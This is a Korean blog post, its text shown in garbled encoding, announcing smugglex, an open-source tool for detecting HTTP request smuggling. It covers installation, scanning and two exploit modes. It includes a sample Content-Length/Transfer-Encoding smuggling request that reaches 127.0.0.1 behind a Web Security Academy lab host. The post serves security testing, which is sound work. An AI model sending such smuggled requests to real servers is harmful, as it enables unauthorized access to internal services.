Hello SmuggleX ๐Ÿ‘‹๐Ÿผ

์•ˆ๋…•ํ•˜์„ธ์š”! ์ตœ๊ทผ ๋งŒ๋“ค๊ณ  ์žˆ๋˜ ์ƒˆ๋กœ์šด ๋„๊ตฌ ํ•˜๋‚˜๋ฅผ ๊ณต๊ฐœํ•˜๊ณ  ๐•๋ฅผ ํ†ตํ•ด ๊ณต์œ ํ–ˆ์Šต๋‹ˆ๋‹ค. HTTP Request Smuggling์„ ํƒ์ง€ํ•˜๊ธฐ ์œ„ํ•œ ๋„๊ตฌ์ธ smugglex์ž…๋‹ˆ๋‹ค.

https://github.com/hahwul/smugglex

Installation

ํ˜„์žฌ Homebrew, Snapcraft, Nix, Cargo ๋“ฑ ๋‹ค์–‘ํ•œ ํŒจํ‚ค์ง€ ๋งค๋‹ˆ์ €๋ฅผ ํ†ตํ•œ ์„ค์น˜๋ฅผ ์ง€์›ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. Installation ๋ฌธ์„œ ์ฐธ๊ณ ํ•˜์…”์„œ ์›ํ•˜๋Š” ๋„๊ตฌ๋กœ ์„ค์น˜ํ•˜์‹œ๋ฉด ๋ฉ๋‹ˆ๋‹ค.

# e.g.,
cargo install smugglex
brew install hahwul/smugglex/smugglex
nix profile install github:hahwul/smugglex

์ฐธ๊ณ ๋กœ ํŒจํ‚ค์ง€ ๋งค๋‹ˆ์ €๋“ค์— ๋Œ€ํ•œ ์ง€์›์€ ์ œ๊ฐ€ ๊ฐœ๋ฐœํ•˜๋Š” ๋„๊ตฌ๋“ค์€ ์ „์ฒด์ ์œผ๋กœ ๋งž์ถฐ๋‚˜๊ฐˆ ์ƒ๊ฐ์ž…๋‹ˆ๋‹ค. nix ๋“ฑ์€ ์ตœ๊ทผ์— ์—…๋ฐ์ดํŠธํ•œ ๋„๊ตฌ(noir, smugglex)์— ์ง€์›ํ•˜๊ณ  ์žˆ๊ณ  dalfox(v3 ์ฝ”๋“œ ๋ฒ ์ด์Šค์—์„  ์ด๋ฏธ ์ ์šฉ), urx ๋“ฑ ๋‹ค๋ฅธ ๋„๊ตฌ๋“ค๋„ ๋น„์Šทํ•˜๊ฒŒ ์„ค์น˜ ๋ฐฉ์‹์„ ์ œ๊ณตํ•  ์˜ˆ์ •์ž…๋‹ˆ๋‹ค.

Detect Smuggling

์ด ๋„๊ตฌ๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ HTTP Request Smuggling์„ ํƒ์ง€ํ•˜๋Š” ๊ฒƒ์„ ๋ชฉํ‘œ๋กœ ํ•ฉ๋‹ˆ๋‹ค. ์•„๋ž˜์™€ ๊ฐ™์ด ์Šค์บ”์„ ์ง„ํ–‰ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋‹จ์ผ ํƒ€๊ฒŸ ๋˜๋Š” ๋‹ค์ˆ˜ ํƒ€๊ฒŸ์„ ๋Œ€์ƒ์œผ๋กœ ์Šค์บ”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

# Single target
smugglex https://target.com

# Multiple targets
cat urls.txt | smugglex

Smuggling์ด ํ™•์ธ๋˜๋Š” ๊ฒฝ์šฐ ์•„๋ž˜์™€ ๊ฐ™์ด ํ…Œ์ŠคํŠธํ•  ์ˆ˜ ์žˆ๋Š” ์ƒ˜ํ”Œ Request๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

Exploiting

smugglex๋Š” ํ˜„์žฌ 2๊ฐ€์ง€์˜ Exploit ๋ฉ”์†Œ๋“œ๋ฅผ ์ œ์›ํ•ฉ๋‹ˆ๋‹ค. ํ•ด๋‹น ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ Smuggling ํƒ์ง€ ์‹œ ์ถ”๊ฐ€์ ์ธ ํ…Œ์ŠคํŠธ๋ฅผ ์ง„ํ–‰ํ•ฉ๋‹ˆ๋‹ค.

EXPLOIT:
  -e, --exploit <EXPLOIT>
          Exploit types to run after detection (comma-separated: localhost-access,path-fuzz)

localhost-access์˜ ๊ฒฝ์šฐ smuggled๋œ ์š”์ฒญ์„ ํ†ตํ•ด localhost์˜ ์—ฌ๋Ÿฌ ์ •๋ณด์— ์ ‘๊ทผํ•˜๋Š” ๊ธฐ๋Šฅ์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.

[*] Testing localhost access on port 80...
[*] Generated localhost payload for port 80

--- REQUEST ---
POST / HTTP/1.1
Host: 0a1100f0035b6b6380e0c60e005c00c4.web-security-academy.net
Connection: keep-alive
Content-Length: 6
Transfer-Encoding: chunked

1
X
0

GET / HTTP/1.1
Host: 127.0.0.1:80
Connection: close

path-fuzz๋Š” ์‚ฌ์ „ ์ •์˜๋œ ๋ฆฌ์ŠคํŠธ ๋˜๋Š” ์‚ฌ์šฉ์ž์—๊ฒŒ ์ž…๋ ฅ๋ฐ›์€ ๋ฆฌ์ŠคํŠธ(--exploit-wordlist)๋ฅผ ํ†ตํ•ด smuggled๋œ ์š”์ฒญ์œผ๋กœ ๋ฐฑ์—”๋“œ์˜ ๊ฒฝ๋กœ๋ฅผ ํƒ์ƒ‰ํ•ฉ๋‹ˆ๋‹ค.

Next Plan

์‚ฌ์‹ค ๊ณต์œ ํ•œ ์ดํ›„๋กœ ๋งŽ์€ ๊ด€์‹ฌ๊ณผ DM์œผ๋กœ ํ”ผ๋“œ๋ฐฑ์„ ๋ฐ›์•˜์Šต๋‹ˆ๋‹ค. ๊ธฐ๋Šฅ๋„ ๊ธฐ๋Šฅ์ด์ง€๋งŒ ์šฐ์„  ๋‹น๋ถ„๊ฐ„์€ Smuggling ํƒ์ง€ ์„ฑ๋Šฅ(์ •ํƒ์€ ๋Š˜๋ฆฌ๊ณ , ์˜คํƒ์€ ์ค„์ด๋Š”)์„ ๋ชฉํ‘œ๋กœ ํ•˜๊ณ  Exploit ๋ถ€๋ถ„์„ ๊ณ„์† ํ™•๋Œ€ํ•˜๋ฉฐ ๋‚˜์•„๊ฐ€ ๋‹จ์ˆœ ์Šค์บ๋„ˆ๊ฐ€ ์•„๋‹Œ HTTP Request Smuggling์„ ํ…Œ์ŠคํŠธํ•˜๋Š” ์ „ ๊ณผ์ •์— ๊ฐœ์ž…๋˜๋Š” ๋„๊ตฌ๊ฐ€ ๋˜๊ธธ ํฌ๋งํ•ฉ๋‹ˆ๋‹ค.

์‚ฌ์šฉํ•ด๋ณด์‹œ๊ณ  ๊ฐœ์„ ๋์œผ๋ฉด ํ•˜๋Š” ๋ถ€๋ถ„๋“ค์€ ํŽธํžˆ ์ด์•ผ๊ธฐ์ฃผ์‹œ๋ฉด ๊ฐ์‚ฌํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค. ๋ฒŒ์จ ํ•œ ํ•ด๊ฐ€ ๋๋‚˜๊ฐ€๋„ค์š”! ๋ชจ๋‘ ์ƒˆํ•ด ๋ณต ๋งŽ์ด ๋ฐ›์œผ์„ธ์š”!

Comments